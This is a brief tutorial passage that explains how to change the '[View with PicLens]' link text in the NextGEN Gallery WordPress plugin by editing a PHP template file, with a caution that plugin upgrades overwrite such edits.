By default, the full path to this file is wp-content/plugins/nextgex-gallery/view/gallery.php).

Have a browse and see if you can find this code halfway down the file:

<?php if ($gallery->show_piclens) { ?>
<!-- Piclense link -->
<div>
<a href="<?php echo $gallery->piclens_link ?>">
<?php _e('[View with PicLens]','nggallery'); ?>
</a>
</div>
<?php } ?>


See the bit where it says [View with PicLens]? That’s what gets displayed. Change the text inside the single quotes to anything you like – maybe something along the lines of View as SLIDESHOW perhaps.

Make sure you don’t use any special characters here – numbers, letters and spaces only please!

One thing to keep in mind – with any change you make to the source code – is that as soon as you upgrade to a new version of the plugin, your changes will be overwritten. Just in case [View with PicLens] ever comes back from its grave to haunt you again…

Have fun